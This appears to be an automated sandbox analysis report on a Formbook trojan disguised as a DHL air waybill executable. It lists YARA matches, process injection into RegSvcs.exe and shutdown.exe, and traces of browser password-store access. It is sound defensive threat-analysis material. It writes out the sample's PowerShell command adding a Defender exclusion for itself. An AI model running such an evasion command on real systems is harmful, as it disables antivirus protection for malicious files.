Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACFB76 20_2_03ACFB76
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A55AA0 20_2_03A55AA0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AADAAC 20_2_03AADAAC
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AB1AA3 20_2_03AB1AA3
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ABDAC6 20_2_03ABDAC6
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A83A6C 20_2_03A83A6C
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACFA49 20_2_03ACFA49
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AC7A46 20_2_03AC7A46
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AA5910 20_2_03AA5910
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A19950 20_2_03A19950
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A2B950 20_2_03A2B950
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A138E0 20_2_03A138E0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A7D800 20_2_03A7D800
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACFFB1 20_2_03ACFFB1
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A11F92 20_2_03A11F92
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_039D3FD5 20_2_039D3FD5
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_039D3FD2 20_2_039D3FD2
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACFF09 20_2_03ACFF09
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A19EB0 20_2_03A19EB0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A2FDC0 20_2_03A2FDC0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AC7D73 20_2_03AC7D73
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A13D40 20_2_03A13D40
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AC1D5A 20_2_03AC1D5A
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACFCF2 20_2_03ACFCF2
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A89C32 20_2_03A89C32
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03291270 20_2_03291270
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_0328A710 20_2_0328A710
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_0328C690 20_2_0328C690
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_0328C467 20_2_0328C467
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_0328C470 20_2_0328C470
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03292DAB 20_2_03292DAB
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03292DB0 20_2_03292DB0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03281121 20_2_03281121
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_032A9CA0 20_2_032A9CA0
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 0180B970 appears 272 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 0189F290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 01867E54 appears 100 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 01855130 appears 56 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: String function: 0188EA12 appears 86 times
Source: C:\Windows\SysWOW64\shutdown.exe Code function: String function: 03A8F290 appears 105 times
Source: C:\Windows\SysWOW64\shutdown.exe Code function: String function: 039FB970 appears 277 times
Source: C:\Windows\SysWOW64\shutdown.exe Code function: String function: 03A45130 appears 58 times
Source: C:\Windows\SysWOW64\shutdown.exe Code function: String function: 03A7EA12 appears 86 times
Source: C:\Windows\SysWOW64\shutdown.exe Code function: String function: 03A57E54 appears 111 times
PE / OLE file has an invalid certificate
Source: Dhl-Awb 0865252 copy.exe Static PE information: invalid certificate
Sample file is different than original file name gathered from version info
Source: Dhl-Awb 0865252 copy.exe, 00000000.00000002.1240822127.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenameclr.dllT vs Dhl-Awb 0865252 copy.exe
Source: Dhl-Awb 0865252 copy.exe, 00000000.00000002.1241635275.0000000002A71000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilename vs Dhl-Awb 0865252 copy.exe
Source: Dhl-Awb 0865252 copy.exe, 00000000.00000002.1241635275.0000000002A71000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameSimpleLogin.dllD vs Dhl-Awb 0865252 copy.exe
Source: Dhl-Awb 0865252 copy.exe, 00000000.00000002.1251243928.0000000006FE0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameTyrone.dll8 vs Dhl-Awb 0865252 copy.exe
Source: Dhl-Awb 0865252 copy.exe, 00000000.00000002.1248928666.00000000050F0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameSimpleLogin.dllD vs Dhl-Awb 0865252 copy.exe
Source: Dhl-Awb 0865252 copy.exe Binary or memory string: OriginalFilenameSjeY.exe. vs Dhl-Awb 0865252 copy.exe
Uses 32bit PE files
Source: Dhl-Awb 0865252 copy.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000015.00000002.2458227269.0000000005780000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.1462280600.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000014.00000002.2454723400.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.1465149563.0000000001B70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000014.00000002.2451180348.0000000003280000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000012.00000002.2455047423.0000000006230000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000014.00000002.2455041257.0000000003760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.1465365061.0000000004DB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Dhl-Awb 0865252 copy.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 0.2.Dhl-Awb 0865252 copy.exe.51c0000.10.raw.unpack, XG.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Dhl-Awb 0865252 copy.exe.51c0000.10.raw.unpack, XG.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Dhl-Awb 0865252 copy.exe.2ac8f4c.4.raw.unpack, XG.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Dhl-Awb 0865252 copy.exe.2ac8f4c.4.raw.unpack, XG.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Dhl-Awb 0865252 copy.exe.2d77c0c.3.raw.unpack, XG.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Dhl-Awb 0865252 copy.exe.2d77c0c.3.raw.unpack, XG.cs Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, VipH6lTom0Mhg39k0B.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, VipH6lTom0Mhg39k0B.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, VipH6lTom0Mhg39k0B.cs Security API names: _0020.AddAccessRule
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, VipH6lTom0Mhg39k0B.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, VipH6lTom0Mhg39k0B.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, VipH6lTom0Mhg39k0B.cs Security API names: _0020.AddAccessRule
Source: 0.2.Dhl-Awb 0865252 copy.exe.3e70360.8.raw.unpack, OUcLrpEHXRwDFo0jmR.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Dhl-Awb 0865252 copy.exe.6fe0000.12.raw.unpack, OUcLrpEHXRwDFo0jmR.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.Dhl-Awb 0865252 copy.exe.2ac8f4c.4.raw.unpack, ReactionVessel.cs Suspicious method names: .ReactionVessel.Inject
Source: 0.2.Dhl-Awb 0865252 copy.exe.2d77c0c.3.raw.unpack, ReactionVessel.cs Suspicious method names: .ReactionVessel.Inject
Source: 0.2.Dhl-Awb 0865252 copy.exe.51c0000.10.raw.unpack, ReactionVessel.cs Suspicious method names: .ReactionVessel.Inject
Source: classification engine Classification label: mal100.rans.troj.spyw.evad.winEXE@16/7@8/4
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Dhl-Awb 0865252 copy.exe.log Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3032:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_stfz1vrw.hr1.ps1 Jump to behavior
Source: Dhl-Awb 0865252 copy.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Dhl-Awb 0865252 copy.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: shutdown.exe, 00000014.00000003.1755279720.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, shutdown.exe, 00000014.00000003.1757429980.0000000003525000.00000004.00000020.00020000.00000000.sdmp, shutdown.exe, 00000014.00000002.2451924652.0000000003525000.00000004.00000020.00020000.00000000.sdmp, shutdown.exe, 00000014.00000003.1757429980.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, shutdown.exe, 00000014.00000003.1755165142.00000000034D6000.00000004.00000020.00020000.00000000.sdmp, shutdown.exe, 00000014.00000002.2451924652.00000000034F7000.00000004.00000020.00020000.00000000.sdmp, shutdown.exe, 00000014.00000003.1757429980.0000000003500000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Dhl-Awb 0865252 copy.exe Virustotal: Detection: 55%
Source: Dhl-Awb 0865252 copy.exe ReversingLabs: Detection: 60%
Source: unknown Process created: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe "C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe"
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Process created: C:\Windows\SysWOW64\shutdown.exe "C:\Windows\SysWOW64\shutdown.exe"
Source: C:\Windows\SysWOW64\shutdown.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe" Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" Jump to behavior
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Process created: C:\Windows\SysWOW64\shutdown.exe "C:\Windows\SysWOW64\shutdown.exe" Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: riched20.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: usp10.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe Section loaded: wldp.dll Jump to behavior
